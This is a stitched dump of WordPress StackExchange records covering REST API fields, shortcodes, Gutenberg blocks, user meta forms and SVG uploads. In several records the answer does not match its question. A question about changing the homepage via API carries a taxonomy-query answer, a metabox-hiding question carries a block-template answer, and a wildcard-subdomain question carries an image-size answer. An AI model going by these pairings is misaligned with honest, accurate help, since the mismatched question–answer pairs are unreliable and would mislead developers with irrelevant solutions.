[ { "answer_id": 375278, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<blockquote>\n<p>how can I retrieve all taxonomy terms for a post in an arbitrary site programmatically? In oth...
2020/09/22
[ "https://wordpress.stackexchange.com/questions/375287", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/185432/" ]
Is there any way to change a site's homepage (Settings -> Reading), via API? We're running a React app with a Headless WP 'backend', and I'd like to let users change the homepage of their sites though our app. I searched but couldn't find a solution to this. Thanks
> > how can I retrieve all taxonomy terms for a post in an arbitrary site programmatically? In other words, given post $post and site $siteId, how can I retrieve all terms for all taxonomies of that post in that site? > > > You can do this by omitting the taxonomy from `WP_Term_Query`: ```php $query = new WP_Term...
375,363
<p>I have a WordPress site installed locally on my computer. The project was almost finished. Today I turned on my computer but it no longer works (categorically refusing to turn on), the repairman told me it's hard drive problem but I managed to get the project files which was in this hard drive thanks to a file recov...
[ { "answer_id": 375278, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<blockquote>\n<p>how can I retrieve all taxonomy terms for a post in an arbitrary site programmatically? In oth...
2020/09/24
[ "https://wordpress.stackexchange.com/questions/375363", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195106/" ]
I have a WordPress site installed locally on my computer. The project was almost finished. Today I turned on my computer but it no longer works (categorically refusing to turn on), the repairman told me it's hard drive problem but I managed to get the project files which was in this hard drive thanks to a file recovery...
> > how can I retrieve all taxonomy terms for a post in an arbitrary site programmatically? In other words, given post $post and site $siteId, how can I retrieve all terms for all taxonomies of that post in that site? > > > You can do this by omitting the taxonomy from `WP_Term_Query`: ```php $query = new WP_Term...
375,439
<p>Hello I want to know how to edit wordpress html and add custom html for example I want to add html element like icon beside a link. here is the code:</p> <p>wordpress original source code:</p> <pre><code>&lt;a rel=&quot;nofollow&quot; class=&quot;comment-reply-link&quot;&gt; Reply &lt;/a&gt; </code></pre> <p>I want...
[ { "answer_id": 375442, "author": "Patrice Poliquin", "author_id": 32365, "author_profile": "https://wordpress.stackexchange.com/users/32365", "pm_score": 0, "selected": false, "text": "<p><strong>TL:DR;</strong></p>\n<p>Quick answer would be that you can't add text to a custom icon libra...
2020/09/25
[ "https://wordpress.stackexchange.com/questions/375439", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/188733/" ]
Hello I want to know how to edit wordpress html and add custom html for example I want to add html element like icon beside a link. here is the code: wordpress original source code: ``` <a rel="nofollow" class="comment-reply-link"> Reply </a> ``` I want to edit this wordpress html code to add this icon to be: ``` ...
That HTML is generated in the `get_comment_reply_link` function: <https://github.com/WordPress/WordPress/blob/0418dad234c13a88e06f5e50c83bcebaaf5ab211/wp-includes/comment-template.php#L1654> Which gives us what's needed. Here are 3 options: 1. The function takes an arguments array, and `reply_text` is one of the opt...
375,454
<p>When I open the block editor on a new post or page or edit an existing post or page, the Default Gutenberg Block is the paragraph block. How do I change this to a gallery block or another block?</p>
[ { "answer_id": 375618, "author": "Will", "author_id": 48698, "author_profile": "https://wordpress.stackexchange.com/users/48698", "pm_score": 0, "selected": false, "text": "<p>This is possible with the <a href=\"https://developer.wordpress.org/block-editor/packages/packages-blocks/#setDe...
2020/09/25
[ "https://wordpress.stackexchange.com/questions/375454", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195187/" ]
When I open the block editor on a new post or page or edit an existing post or page, the Default Gutenberg Block is the paragraph block. How do I change this to a gallery block or another block?
You can use the Gutenberg Block Template it is used to have a content placeholder for your Gutenberg content. <https://developer.wordpress.org/block-editor/developers/block-api/block-templates/> ``` <?php function myplugin_register_template() { $post_type_object = get_post_type_object( 'post' ); $post_type_ob...
375,459
<p>I have special roles on my site. I use easy digital download. My user has access to the download page. I want the metabox not to see the number of sales. Can I hide this metabox for this role or user?</p> <p>Of course, now that I had to, I deleted it with CSS (<code>display : none</code>) Thank you in advance for y...
[ { "answer_id": 375618, "author": "Will", "author_id": 48698, "author_profile": "https://wordpress.stackexchange.com/users/48698", "pm_score": 0, "selected": false, "text": "<p>This is possible with the <a href=\"https://developer.wordpress.org/block-editor/packages/packages-blocks/#setDe...
2020/09/25
[ "https://wordpress.stackexchange.com/questions/375459", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195197/" ]
I have special roles on my site. I use easy digital download. My user has access to the download page. I want the metabox not to see the number of sales. Can I hide this metabox for this role or user? Of course, now that I had to, I deleted it with CSS (`display : none`) Thank you in advance for your guidance.
You can use the Gutenberg Block Template it is used to have a content placeholder for your Gutenberg content. <https://developer.wordpress.org/block-editor/developers/block-api/block-templates/> ``` <?php function myplugin_register_template() { $post_type_object = get_post_type_object( 'post' ); $post_type_ob...
375,473
<p>I checked everything suggested in <a href="https://wordpress.stackexchange.com/questions/184104/page-editor-missing-templates-drop-down">that response</a>: &quot;page attributes&quot; option is checked, template file is located at theme root folder, I tried several file encoding options in my text editor (UTF8 with ...
[ { "answer_id": 375475, "author": "bueltge", "author_id": 170, "author_profile": "https://wordpress.stackexchange.com/users/170", "pm_score": 0, "selected": false, "text": "<p>The <a href=\"https://developer.wordpress.org/themes/template-files-section/page-template-files/#creating-custom-...
2020/09/26
[ "https://wordpress.stackexchange.com/questions/375473", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/11634/" ]
I checked everything suggested in [that response](https://wordpress.stackexchange.com/questions/184104/page-editor-missing-templates-drop-down): "page attributes" option is checked, template file is located at theme root folder, I tried several file encoding options in my text editor (UTF8 with or without BOM), I tried...
The page was set as the posts page in `settings > reading`, which prevents from chosing a specific page template since this setting automatically assigns `index.php` as the page template for that page.
375,547
<p>I need to change the timeformat in this column</p> <p><a href="https://i.stack.imgur.com/huMdd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/huMdd.png" alt="" /></a></p> <p>to be in hours, not measured in seconds and minutes. This meaning that 30 minutes should be measured in 0.5 hours and so on...
[ { "answer_id": 375475, "author": "bueltge", "author_id": 170, "author_profile": "https://wordpress.stackexchange.com/users/170", "pm_score": 0, "selected": false, "text": "<p>The <a href=\"https://developer.wordpress.org/themes/template-files-section/page-template-files/#creating-custom-...
2020/09/28
[ "https://wordpress.stackexchange.com/questions/375547", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195292/" ]
I need to change the timeformat in this column [![](https://i.stack.imgur.com/huMdd.png)](https://i.stack.imgur.com/huMdd.png) to be in hours, not measured in seconds and minutes. This meaning that 30 minutes should be measured in 0.5 hours and so on. I think I need to edit this line of code. Any suggestions on how ...
The page was set as the posts page in `settings > reading`, which prevents from chosing a specific page template since this setting automatically assigns `index.php` as the page template for that page.
375,560
<p>Is this the correct way to translate a sting of text?</p> <pre><code>_e( '&lt;h2 class=&quot;title&quot;&gt;' . $var . '&lt;/h2&gt;', 'text-domain' ); </code></pre> <p>or, is this?</p> <pre><code>echo '&lt;h2 class=&quot;title&quot;&gt;'; _e( $var, 'text-domain' ); echo '&lt;/h2&gt;'; </code></pre> <p>or this?</p> <...
[ { "answer_id": 375562, "author": "DaFois", "author_id": 108884, "author_profile": "https://wordpress.stackexchange.com/users/108884", "pm_score": 1, "selected": false, "text": "<ul>\n<li>Both of the functions are used in the localisation of wordpress themes.</li>\n<li>Both are used to di...
2020/09/28
[ "https://wordpress.stackexchange.com/questions/375560", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104464/" ]
Is this the correct way to translate a sting of text? ``` _e( '<h2 class="title">' . $var . '</h2>', 'text-domain' ); ``` or, is this? ``` echo '<h2 class="title">'; _e( $var, 'text-domain' ); echo '</h2>'; ``` or this? ``` printf( __( '<h2 class="title">%s</h2>', 'text-domain' ), $var ); ``` **Edit:** Update ...
**None of them are correct**. These APIs are not intended for dynamic data or content from the database. This would be the best practice answer: ```php echo '<h2 class="title">'; esc_html_e( 'static string', 'text-domain' ); echo '</h2>'; ``` ***If you want to translate posts and other database user entered content...
375,574
<p>so I have this wordpress website <a href="https://knivesreviews.net/" rel="nofollow noreferrer">knivesreviews</a></p> <p>I ha ve blog section there, but it really is just category. I would like to make it separate wordpress installation, but I'm afraid it will mess up my database. I want it it separate installation,...
[ { "answer_id": 375562, "author": "DaFois", "author_id": 108884, "author_profile": "https://wordpress.stackexchange.com/users/108884", "pm_score": 1, "selected": false, "text": "<ul>\n<li>Both of the functions are used in the localisation of wordpress themes.</li>\n<li>Both are used to di...
2020/09/28
[ "https://wordpress.stackexchange.com/questions/375574", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195318/" ]
so I have this wordpress website [knivesreviews](https://knivesreviews.net/) I ha ve blog section there, but it really is just category. I would like to make it separate wordpress installation, but I'm afraid it will mess up my database. I want it it separate installation,because I will be adding eshop with knives to ...
**None of them are correct**. These APIs are not intended for dynamic data or content from the database. This would be the best practice answer: ```php echo '<h2 class="title">'; esc_html_e( 'static string', 'text-domain' ); echo '</h2>'; ``` ***If you want to translate posts and other database user entered content...
375,600
<p>I like the gutenberg &quot;latest posts&quot; block. The problem I have with it is that it doesn't hardcrop images that users upload to the posts. Is there a way to choose a hard-cropped or custom size that I have created through the <code>add_image_size()</code> function?</p> <p>I don't really have any code, but I...
[ { "answer_id": 375601, "author": "Paul", "author_id": 195289, "author_profile": "https://wordpress.stackexchange.com/users/195289", "pm_score": 1, "selected": false, "text": "<p>it looks like you have to also pass your custom image thumbnail sizes to the filter <code>image_size_names_ch...
2020/09/29
[ "https://wordpress.stackexchange.com/questions/375600", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105668/" ]
I like the gutenberg "latest posts" block. The problem I have with it is that it doesn't hardcrop images that users upload to the posts. Is there a way to choose a hard-cropped or custom size that I have created through the `add_image_size()` function? I don't really have any code, but I think this question is on topi...
The Latest Posts block uses (`wp.data.select( 'core/block-editor' ).getSettings()` to get) the image sizes in the editor settings which can be filtered via the [`block_editor_settings` hook](https://developer.wordpress.org/reference/hooks/block_editor_settings/) in PHP: > > `apply_filters( 'block_editor_settings', ar...
375,624
<p>I use this query to call posts from a custom-type post I setup apart</p> <pre><code>$args = array( 'posts_per_page' =&gt; 5, 'order'=&gt; 'DES', 'post_type' =&gt; 'custom-post' ); $myposts = get_posts( $args ); foreach ( $myposts as $post ) : setup_postdata( $post ); ?&gt; &lt;div class=&quot;thumbnail&quot;&gt; &lt...
[ { "answer_id": 375601, "author": "Paul", "author_id": 195289, "author_profile": "https://wordpress.stackexchange.com/users/195289", "pm_score": 1, "selected": false, "text": "<p>it looks like you have to also pass your custom image thumbnail sizes to the filter <code>image_size_names_ch...
2020/09/29
[ "https://wordpress.stackexchange.com/questions/375624", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195370/" ]
I use this query to call posts from a custom-type post I setup apart ``` $args = array( 'posts_per_page' => 5, 'order'=> 'DES', 'post_type' => 'custom-post' ); $myposts = get_posts( $args ); foreach ( $myposts as $post ) : setup_postdata( $post ); ?> <div class="thumbnail"> <?php echo get_the_post_thumbnail( $post->ID...
The Latest Posts block uses (`wp.data.select( 'core/block-editor' ).getSettings()` to get) the image sizes in the editor settings which can be filtered via the [`block_editor_settings` hook](https://developer.wordpress.org/reference/hooks/block_editor_settings/) in PHP: > > `apply_filters( 'block_editor_settings', ar...
375,637
<p>Finally I've solved the wildcard subdomain for my hosting. But now I'm facing another problem.</p> <p>If you try <a href="https://randomname.minepi.hu" rel="nofollow noreferrer">https://randomname.minepi.hu</a> then it will redirect for the main domain and wordpress deleting the given data. If you try this link: <a ...
[ { "answer_id": 375601, "author": "Paul", "author_id": 195289, "author_profile": "https://wordpress.stackexchange.com/users/195289", "pm_score": 1, "selected": false, "text": "<p>it looks like you have to also pass your custom image thumbnail sizes to the filter <code>image_size_names_ch...
2020/09/29
[ "https://wordpress.stackexchange.com/questions/375637", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/195329/" ]
Finally I've solved the wildcard subdomain for my hosting. But now I'm facing another problem. If you try <https://randomname.minepi.hu> then it will redirect for the main domain and wordpress deleting the given data. If you try this link: <https://randonname.minepi.hu/test/> you can see its a simple php page and now ...
The Latest Posts block uses (`wp.data.select( 'core/block-editor' ).getSettings()` to get) the image sizes in the editor settings which can be filtered via the [`block_editor_settings` hook](https://developer.wordpress.org/reference/hooks/block_editor_settings/) in PHP: > > `apply_filters( 'block_editor_settings', ar...
375,639
<p>I am making a plugin to upload records and I want to put the option to choose category, also I would like those categories to be the ones that are normally created with wordpress, but I don't know if can</p> <p>How do I put the option to choose category in the form?</p>
[ { "answer_id": 375641, "author": "ktscript", "author_id": 194230, "author_profile": "https://wordpress.stackexchange.com/users/194230", "pm_score": -1, "selected": false, "text": "<p>you can try this code:</p>\n<pre><code>$parent_cat = get_query_var('cat');\nwp_list_categories(&quot;chil...
2020/09/29
[ "https://wordpress.stackexchange.com/questions/375639", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/139955/" ]
I am making a plugin to upload records and I want to put the option to choose category, also I would like those categories to be the ones that are normally created with wordpress, but I don't know if can How do I put the option to choose category in the form?
IDs are your friends. Get the category list using [get\_category](https://developer.wordpress.org/reference/functions/get_categories) (i'm assuming we are talking about the in-built Wordpress "category" taxonomy, which slug is *category*). ``` $categories = get_categories( array( 'hide_empty' => false // This is o...
375,650
<p>I am trying to register a new post type to hide post in searches but still allow for the post to be seen by url.</p> <pre><code>function reg_ghost_status(){ register_post_status( 'ghosted', array( 'label' =&gt; 'Ghost Post', 'publicly_queryable' =&gt; false, 'ex...
[ { "answer_id": 375664, "author": "wrydere", "author_id": 66722, "author_profile": "https://wordpress.stackexchange.com/users/66722", "pm_score": 1, "selected": false, "text": "<p>If it was me, I would probably just override the queries on the individual templates that you are trying to h...
2020/09/29
[ "https://wordpress.stackexchange.com/questions/375650", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/192315/" ]
I am trying to register a new post type to hide post in searches but still allow for the post to be seen by url. ``` function reg_ghost_status(){ register_post_status( 'ghosted', array( 'label' => 'Ghost Post', 'publicly_queryable' => false, 'exclude_from_search' ...
If it was me, I would probably just override the queries on the individual templates that you are trying to hide "ghosted" posts on. However, I can see how in some situations it would be better to override the main query. How about: ``` function public_query_published_only($query) { if ( !$query->is_single() && !cu...
375,682
<p>I'm writing a new plugin, and one of the things it does is create a new dynamic block. I generally write my plugins based off of <a href="http://wppb.io" rel="nofollow noreferrer">WPPB</a>, which does things in an object-oriented way, and semantically separates admin functionality from public functionality.</p> <p>I...
[ { "answer_id": 375685, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 3, "selected": true, "text": "<p>Option 1 is the solution, here's a smaller example:</p>\n<pre class=\"lang-php prettyprint-override\"><code>$...
2020/09/30
[ "https://wordpress.stackexchange.com/questions/375682", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194028/" ]
I'm writing a new plugin, and one of the things it does is create a new dynamic block. I generally write my plugins based off of [WPPB](http://wppb.io), which does things in an object-oriented way, and semantically separates admin functionality from public functionality. I have the admin class successfully creating th...
Option 1 is the solution, here's a smaller example: ```php $obj = new Obj(); .... register_block_type( 'my-plugin/my-block', [ 'editor_script' => 'editor-script-handle', 'render_callback' => [ $obj, 'block_save_function' ] ] ); ``` In that code `[ $obj, 'block_save_function' ]` is equival...
375,799
<p>I am trying to get all user details (including WooCommerce meta data) in a function that is called with <code>user_register</code> and <code>profile_update</code> hooks. This is the simplified code:</p> <pre><code>function get_all_user_data($user_id) { $user_data = get_userdata($user_id); $login = $user_da...
[ { "answer_id": 375980, "author": "Lonk", "author_id": 77848, "author_profile": "https://wordpress.stackexchange.com/users/77848", "pm_score": 1, "selected": false, "text": "<p>My solution would be this:</p>\n<pre><code>function get_all_user_data($user_id) {\n\n $user_data = get_userda...
2020/10/02
[ "https://wordpress.stackexchange.com/questions/375799", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/138610/" ]
I am trying to get all user details (including WooCommerce meta data) in a function that is called with `user_register` and `profile_update` hooks. This is the simplified code: ``` function get_all_user_data($user_id) { $user_data = get_userdata($user_id); $login = $user_data->user_login; $b_firstname =...
I got it working. The key was the `woocommerce_update_customer` action. In the end my function was triggered only by these two actions: ``` add_action('user_register','get_all_user_data', 99); add_action('woocommerce_update_customer','get_all_user_data', 99); ``` I don't need the `profile_update` because I don't nee...
375,880
<p>when I activated the theme. it is only one page. the navbar links are Home #About #Services #Contact</p> <p>the problem when I make template name on the frontpage</p> <pre><code>&lt;?php /* Template Name: front-page */ get_header(); ?&gt; </code></pre> <p>then I created a page from the dashboard called Home</p> <...
[ { "answer_id": 375834, "author": "Anarko", "author_id": 195470, "author_profile": "https://wordpress.stackexchange.com/users/195470", "pm_score": 1, "selected": false, "text": "<p>Manually Fix Another Update in Process</p>\n<p>First you need to visit the cPanel dashboard of your WordPres...
2020/10/03
[ "https://wordpress.stackexchange.com/questions/375880", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/188733/" ]
when I activated the theme. it is only one page. the navbar links are Home #About #Services #Contact the problem when I make template name on the frontpage ``` <?php /* Template Name: front-page */ get_header(); ?> ``` then I created a page from the dashboard called Home it added slug /home at the end of the url...
Manually Fix Another Update in Process First you need to visit the cPanel dashboard of your WordPress hosting account. Under the database section, click on the phpMyAdmin icon. [![enter image description here](https://i.stack.imgur.com/RL5DN.png)](https://i.stack.imgur.com/RL5DN.png) Next you need to select your W...
376,081
<p>I am trying to add the post (pages, posts) excerpt in the <code>wp-json/wp/v2/search</code> get endpoint but this endpoint seems to not take into account the <code>register_rest_field</code> method.</p> <pre class="lang-php prettyprint-override"><code>add_action('rest_api_init', function() { register_rest_field('po...
[ { "answer_id": 376085, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 4, "selected": true, "text": "<p>For the search endpoint, the object type (the first parameter for <code>register_rest_field()</code>) is <c...
2020/10/07
[ "https://wordpress.stackexchange.com/questions/376081", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/97197/" ]
I am trying to add the post (pages, posts) excerpt in the `wp-json/wp/v2/search` get endpoint but this endpoint seems to not take into account the `register_rest_field` method. ```php add_action('rest_api_init', function() { register_rest_field('post', 'excerpt', array( 'get_callback' => function ($post_arr) { ...
For the search endpoint, the object type (the first parameter for `register_rest_field()`) is `search-result` and not the post type (e.g. `post`, `page`, etc.). So try with this, which worked for me: ```php add_action( 'rest_api_init', function () { // Registers a REST field for the /wp/v2/search endpoint. re...
376,094
<p>As the title states, I need to pass at least one parameter, maybe more, to the <a href="https://developer.wordpress.org/reference/functions/add_shortcode/" rel="nofollow noreferrer"><code>add_shortcode()</code></a> function. In other words, those parameters I am passing will be used in the callback function of <code...
[ { "answer_id": 376096, "author": "GeorgeP", "author_id": 160985, "author_profile": "https://wordpress.stackexchange.com/users/160985", "pm_score": 0, "selected": false, "text": "<p>You can pass an array of attributes ($atts) in the callback function that will run whenever you run add_sho...
2020/10/07
[ "https://wordpress.stackexchange.com/questions/376094", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/34253/" ]
As the title states, I need to pass at least one parameter, maybe more, to the [`add_shortcode()`](https://developer.wordpress.org/reference/functions/add_shortcode/) function. In other words, those parameters I am passing will be used in the callback function of `add_shortcode()`. How can I do that? Please note, thos...
You can use a [closure](https://www.php.net/manual/en/class.closure.php) for that together with the `use` keyword. Simple example: ``` $dynamic_value = 4; add_shortcode( 'shortcodename', function( $attributes, $content, $shortcode_name ) use $dynamic_value { return $dynamic_value; } ); ``` See...
376,116
<pre><code>soliloquy( the_field( 'slider' ) ); </code></pre> <p>This is my code to add the ID for a slider from a ACF number field to a slider function call however it outputs the ID and doesn't execute the soliloquy function.</p> <p>I think it might have something to do with the single qoutes.</p> <p>Not sure how to w...
[ { "answer_id": 376117, "author": "Dev", "author_id": 104464, "author_profile": "https://wordpress.stackexchange.com/users/104464", "pm_score": 0, "selected": false, "text": "<p>This works but i prefer to use the ACF specific custom field function</p>\n<pre><code>soliloquy( get_post_meta(...
2020/10/08
[ "https://wordpress.stackexchange.com/questions/376116", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104464/" ]
``` soliloquy( the_field( 'slider' ) ); ``` This is my code to add the ID for a slider from a ACF number field to a slider function call however it outputs the ID and doesn't execute the soliloquy function. I think it might have something to do with the single qoutes. Not sure how to wrap the slider ID in single qo...
You need to use **get\_field()** function instead. It will RETURN the value instead of printing. So, your code will be: ``` soliloquy( get_field( 'slider' ) ); ```
376,288
<p>I have a simple Gutenberg block that styles text as a <a href="https://github.com/prtksxna/a-sticky-note/" rel="nofollow noreferrer">post it note</a>. It uses a <code>BlockControls</code> to show some basic formatting like alignment and text styles. Since I upgraded to 5.5, to <code>BlockControls</code> doesn't show...
[ { "answer_id": 376290, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 3, "selected": true, "text": "<p>So I tested your <a href=\"https://github.com/prtksxna/a-sticky-note\" rel=\"nofollow noreferrer\">code</a>...
2020/10/11
[ "https://wordpress.stackexchange.com/questions/376288", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/148774/" ]
I have a simple Gutenberg block that styles text as a [post it note](https://github.com/prtksxna/a-sticky-note/). It uses a `BlockControls` to show some basic formatting like alignment and text styles. Since I upgraded to 5.5, to `BlockControls` doesn't show up floating over the widget. However, if I change my setting ...
So I tested your [code](https://github.com/prtksxna/a-sticky-note), and it seems that the issue happened because you enabled the `lightBlockWrapper` support for your block type (i.e. `lightBlockWrapper: true` in the `support` property), which then doesn't wrap the block in `.wp-block` — check a [sample diff here](https...
376,309
<p>I've made a form on WordPress theme frontend that let registered user change some of their user metadata on page, but it didn't work, code like below:</p> <pre><code> &lt;form name=&quot;update_basic_user_meta&quot; id=&quot;update_basic_user_meta&quot; action=&quot;&lt;?php echo esc_url( home_url() ); ?&gt;?upda...
[ { "answer_id": 376322, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 3, "selected": true, "text": "<p>There are 3 main issues in your code:</p>\n<ol>\n<li><p>I see you're using <code>current_user_id()</code> w...
2020/10/12
[ "https://wordpress.stackexchange.com/questions/376309", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/148298/" ]
I've made a form on WordPress theme frontend that let registered user change some of their user metadata on page, but it didn't work, code like below: ``` <form name="update_basic_user_meta" id="update_basic_user_meta" action="<?php echo esc_url( home_url() ); ?>?update_basic_user_meta=true" method="POST"> <s...
There are 3 main issues in your code: 1. I see you're using `current_user_id()` which does not exist in WordPress, so I believe that should be [`get_current_user_id()`](https://developer.wordpress.org/reference/functions/get_current_user_id/). 2. Your `update_basic_user_meta()` function basically would work in updatin...
376,317
<p>I'm being faced very often when I typically go into a saved draft, edit a post and then save it. I'm getting the error:</p> <blockquote> <p>Updating failed. The response is not a valid JSON response.</p> </blockquote> <p>I'm finding that I can often publish, but if I continue to save as a draft, I may or may not get...
[ { "answer_id": 376322, "author": "Sally CJ", "author_id": 137402, "author_profile": "https://wordpress.stackexchange.com/users/137402", "pm_score": 3, "selected": true, "text": "<p>There are 3 main issues in your code:</p>\n<ol>\n<li><p>I see you're using <code>current_user_id()</code> w...
2020/10/12
[ "https://wordpress.stackexchange.com/questions/376317", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194049/" ]
I'm being faced very often when I typically go into a saved draft, edit a post and then save it. I'm getting the error: > > Updating failed. The response is not a valid JSON response. > > > I'm finding that I can often publish, but if I continue to save as a draft, I may or may not get what I was expecting. I'm s...
There are 3 main issues in your code: 1. I see you're using `current_user_id()` which does not exist in WordPress, so I believe that should be [`get_current_user_id()`](https://developer.wordpress.org/reference/functions/get_current_user_id/). 2. Your `update_basic_user_meta()` function basically would work in updatin...
376,430
<p>After the recent update of WordPress, version 5.5.1.</p> <p>Whenever I enabled the debug mode, there is a 2em gap between WordPress admin menu and the bar.</p> <pre><code>.php-error #adminmenuback, .php-error #adminmenuwrap { margin-top: 2em; } </code></pre> <p>Found out that this is showing because there is a h...
[ { "answer_id": 376431, "author": "Mocsid", "author_id": 196053, "author_profile": "https://wordpress.stackexchange.com/users/196053", "pm_score": 1, "selected": true, "text": "<p>---Fix---</p>\n<p>That CSS gap will only show when there is a &quot;Hidden&quot; error.</p>\n<p>If these cond...
2020/10/14
[ "https://wordpress.stackexchange.com/questions/376430", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196053/" ]
After the recent update of WordPress, version 5.5.1. Whenever I enabled the debug mode, there is a 2em gap between WordPress admin menu and the bar. ``` .php-error #adminmenuback, .php-error #adminmenuwrap { margin-top: 2em; } ``` Found out that this is showing because there is a hidden error somewhere on the w...
---Fix--- That CSS gap will only show when there is a "Hidden" error. If these conditions are true, ``` if ( $error && WP_DEBUG && WP_DEBUG_DISPLAY && ini_get( 'display_errors' ) ``` the gap will show, it means that **$error** variable is not empty, we should show the value in a log file. To solve this issue, we ...
376,440
<p>I want to edit the <code>core/heading</code> block so it changes it's markup from <code>&lt;h1&gt;Hello world&lt;/h1&gt;</code> to <code>&lt;h1&gt;&lt;span&gt;Hello world&lt;/span&gt;&lt;/h1&gt;</code>. Note the <code>&lt;span&gt;</code> element in between.</p> <p>The code below does not work as it should. It adds t...
[ { "answer_id": 376444, "author": "kraftner", "author_id": 47733, "author_profile": "https://wordpress.stackexchange.com/users/47733", "pm_score": 3, "selected": true, "text": "<p>Unfortunately there is now way to alter the markup of an existing block apart from <em>wrapping</em> it in ad...
2020/10/14
[ "https://wordpress.stackexchange.com/questions/376440", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/152589/" ]
I want to edit the `core/heading` block so it changes it's markup from `<h1>Hello world</h1>` to `<h1><span>Hello world</span></h1>`. Note the `<span>` element in between. The code below does not work as it should. It adds the span outside the block, as a wrapper. `<span><h1>Hello world</h1></span>`. Is there a way to...
Unfortunately there is now way to alter the markup of an existing block apart from *wrapping* it in additional markup: > > It receives the original block BlockEdit component and returns a new wrapped component. > Source: <https://developer.wordpress.org/block-editor/developers/filters/block-filters/#editor-blockedit>...
376,531
<p>I am workin on a plugin (for use on my own site). I recently added a button to the admin page that generates some text, and it works fine. This is what I use (pilfered from examples):</p> <pre><code>if (!current_user_can('manage_options')) { wp_die( __('You do not have sufficient galooph to access this page.') ...
[ { "answer_id": 376444, "author": "kraftner", "author_id": 47733, "author_profile": "https://wordpress.stackexchange.com/users/47733", "pm_score": 3, "selected": true, "text": "<p>Unfortunately there is now way to alter the markup of an existing block apart from <em>wrapping</em> it in ad...
2020/10/15
[ "https://wordpress.stackexchange.com/questions/376531", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/196127/" ]
I am workin on a plugin (for use on my own site). I recently added a button to the admin page that generates some text, and it works fine. This is what I use (pilfered from examples): ``` if (!current_user_can('manage_options')) { wp_die( __('You do not have sufficient galooph to access this page.') ); } if ($_...
Unfortunately there is now way to alter the markup of an existing block apart from *wrapping* it in additional markup: > > It receives the original block BlockEdit component and returns a new wrapped component. > Source: <https://developer.wordpress.org/block-editor/developers/filters/block-filters/#editor-blockedit>...
376,539
<p>I am writing a plugin that will allow simple comment upvoting.</p> <p>I am trying to sort comments by the number of upvotes. But anything I do on the comments_array Hook gets somehow reset. My question is where and how?</p> <p>Here is my code:</p> <pre><code>add_filter( 'comments_array', 'biiird_order_comments_by_li...
[ { "answer_id": 376444, "author": "kraftner", "author_id": 47733, "author_profile": "https://wordpress.stackexchange.com/users/47733", "pm_score": 3, "selected": true, "text": "<p>Unfortunately there is now way to alter the markup of an existing block apart from <em>wrapping</em> it in ad...
2020/10/15
[ "https://wordpress.stackexchange.com/questions/376539", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/194463/" ]
I am writing a plugin that will allow simple comment upvoting. I am trying to sort comments by the number of upvotes. But anything I do on the comments\_array Hook gets somehow reset. My question is where and how? Here is my code: ``` add_filter( 'comments_array', 'biiird_order_comments_by_likes' ); function biiird_...
Unfortunately there is now way to alter the markup of an existing block apart from *wrapping* it in additional markup: > > It receives the original block BlockEdit component and returns a new wrapped component. > Source: <https://developer.wordpress.org/block-editor/developers/filters/block-filters/#editor-blockedit>...
376,553
<p>I addes this code to allow SVG Uploads to the Media Library of wordpress:</p> <pre><code>function upload_svg ( $svg_mime ){ $svg_mime['svg'] = 'image/svg+xml'; return $svg_mime; } add_filter( 'upload_mimes', 'upload_svg' ); define('ALLOW_UNFILTERED_UPLOADS', true); </code></pre> <p>Than I added some SVGs to the Med...
[ { "answer_id": 376444, "author": "kraftner", "author_id": 47733, "author_profile": "https://wordpress.stackexchange.com/users/47733", "pm_score": 3, "selected": true, "text": "<p>Unfortunately there is now way to alter the markup of an existing block apart from <em>wrapping</em> it in ad...
2020/10/15
[ "https://wordpress.stackexchange.com/questions/376553", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/112177/" ]
I addes this code to allow SVG Uploads to the Media Library of wordpress: ``` function upload_svg ( $svg_mime ){ $svg_mime['svg'] = 'image/svg+xml'; return $svg_mime; } add_filter( 'upload_mimes', 'upload_svg' ); define('ALLOW_UNFILTERED_UPLOADS', true); ``` Than I added some SVGs to the Media Library. Using them w...
Unfortunately there is now way to alter the markup of an existing block apart from *wrapping* it in additional markup: > > It receives the original block BlockEdit component and returns a new wrapped component. > Source: <https://developer.wordpress.org/block-editor/developers/filters/block-filters/#editor-blockedit>...
376,616
